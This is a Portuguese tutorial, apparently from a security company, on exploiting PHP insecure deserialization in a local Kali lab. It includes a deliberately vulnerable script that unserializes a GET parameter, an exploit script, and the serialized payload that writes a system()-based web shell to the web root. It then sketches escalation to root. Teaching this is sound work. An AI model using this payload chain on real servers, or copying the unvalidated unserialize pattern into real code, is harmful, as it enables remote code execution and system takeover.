Desserialização: como explorar no PHP
Desserialização: como explorar no PHP
Nesse artigo será explicado como explorar a desserialização no PHP. Como cada linguagem tem as suas particularidades, iniciar os estudos da desserialização no PHP é um bom ponto de partida.
Primeiro será necessário entender o que é um objeto serializado, que basicamente é para uma determinada estrutura de dados (falando de forma grosseira, imagine um arquivo compactado no formato ZIP, de tal forma que o mesmo fique aglutinado, porém sem correlação nenhuma com compactação de tamanho) com o intuito de ser enviado na rede.
A desserialização já é o processo reverso: a linguagem de programação recebe a estrutura de dados serializada, desserializa e o objeto volta ao seu estado primário. Por exemplo, no Python o Pickle é usado para serialização. Já no PHP temos as funções serialize() e o unserialize().
Para explorar a desserialização no PHP, considere um cenário em que se tenha acesso ao código-fonte (code-review, white-box, etc.). Isso porque a vulnerabilidade (alguma função PHP potencialmente perigosa, como o eval(), file_get_contents(), etc.) deverá estar dentro de alguma “função mágica”, como por exemplo, __sleep(), __wakeup(), __destruct(), etc), isso porquê, o objeto, ao ser desserializado executa a função mágica que consequentemente “chama” a função vulnerável. Por isso ter acesso ao código fonte possibilita selecionar qual a classe a ser serializada. Muito confuso? Não se preocupe, vamos mostrar via exemplos e código fonte. Para tal, será usado o sistema operacional Kali Linux (última versão).
Muito confuso? Não se preocupe, vamos mostrar via exemplos e código fonte. Para tal, será usado o sistema operacional Kali Linux (última versão).
Conteúdo do arquivo /var/www/html/classeVuln.php. Fundamentalmente o que o código faz é, no momento em que o script PHP for finalizado (método mágico __destruct() ), escreve o arquivo /tmp/arquivo.txt com o conteúdo “Exemplo de desserialização – RedBelt Security“:
<?php
class File{
public $arquivo = “/tmp/arquivo.txt”;
public $conteudo = “Exemplo de desserialização – RedBelt Security”;
public function __destruct(){
file_put_contents($this->arquivo, $this->conteudo);
}
}
?>
Crie o código fonte que é vulnerável ao ataque de desserialização (arquivo /var/www/html/codVuln.php). O que o código faz é incluir o conteúdo de classeVuln.php (contendo o método mágico __destruct() que é executado no momento da finalização do script PHP) e desserializar sem nenhum parâmetro de validação a variável super global $_GET[“obj”], ecoando na tela o nome do arquivo.
<?php
include “/var/www/html/classeVuln.php”;
$objeto = unserialize($_GET[“obj”]);
echo “Arquivo $objeto->arquivo criado com sucesso”;
?>
Crie a prova de conceito para explorar a vulnerabilidade (arquivo /var/www/html/exploit.php). O que o arquivo faz é incluir o conteúdo de classeVuln.php e criar um objeto a partir dessa classe. Porém tanto o nome do arquivo a ser criado ($objeto->arquivo) quanto o seu conteúdo ($objeto->conteudo) são manipulados para que seja criado uma shell em PHP. A classe classeVuln.php é especialmente escolhida devido ao método mágico __destruct():
<?php
include “/var/www/html/classeVuln.php”;
$objeto = new File();
$objeto->arquivo = “/var/www/html/shell.php”;
$objeto->conteudo = ‘<?php system($_GET[\’cmd\’]) ?>’;
echo serialize($objeto);
?>
No terminal de comandos, crie o exploit para desserialização:
root@kali# php /var/www/html/exploit.php
O:4:”File”:2:{s:7:”arquivo”;s:23:”/var/www/html/shell.php”;s:8:”conteudo”;s:29:”<?php system($_GET[“cmd”]) ?>”;}
Para explorar a desserialização, inicie o Apache:
root@kali# service apache2 start
O diretório /var/www/html deve ter permissões de escrita, o que por padrão não é habilitado:
root@kali# chmod o+w /var/www/html
Acesse com o navegador web local o endereço:
Será exibida a mensagem:
Arquivo criado com sucesso
O arquivo /var/www/html/shell.php (backdoor) é criado, aceitando qualquer comando de sistema, como por exemplo:
http://localhost/shell.php?cmd=whoami
Após enviado o arquivo shell.php, e executado o comando whoami, qualquer outro comando do sistema poderá ser executado, como por exemplo wget para download de arquivos. Com o controle inicial do sistema via usuário restritivo (usuário www-data), exploits locais podem ser executados para o controle total do sistema (usuário root).
Tomando o controle do sistema, o agente malicioso poderá instalar qualquer tipo de software (outras backdoors, ferramentas de DDoS, etc) e até mesmo conseguir o acesso a outras máquinas da mesma rede.
Assim, esse artigo demonstra de forma prática, que por meio de uma vulnerabilidade em código web, um agente malicioso poderá tomar o controle de toda a aplicação web e dependendo de outras variáveis, controle de todo o servidor.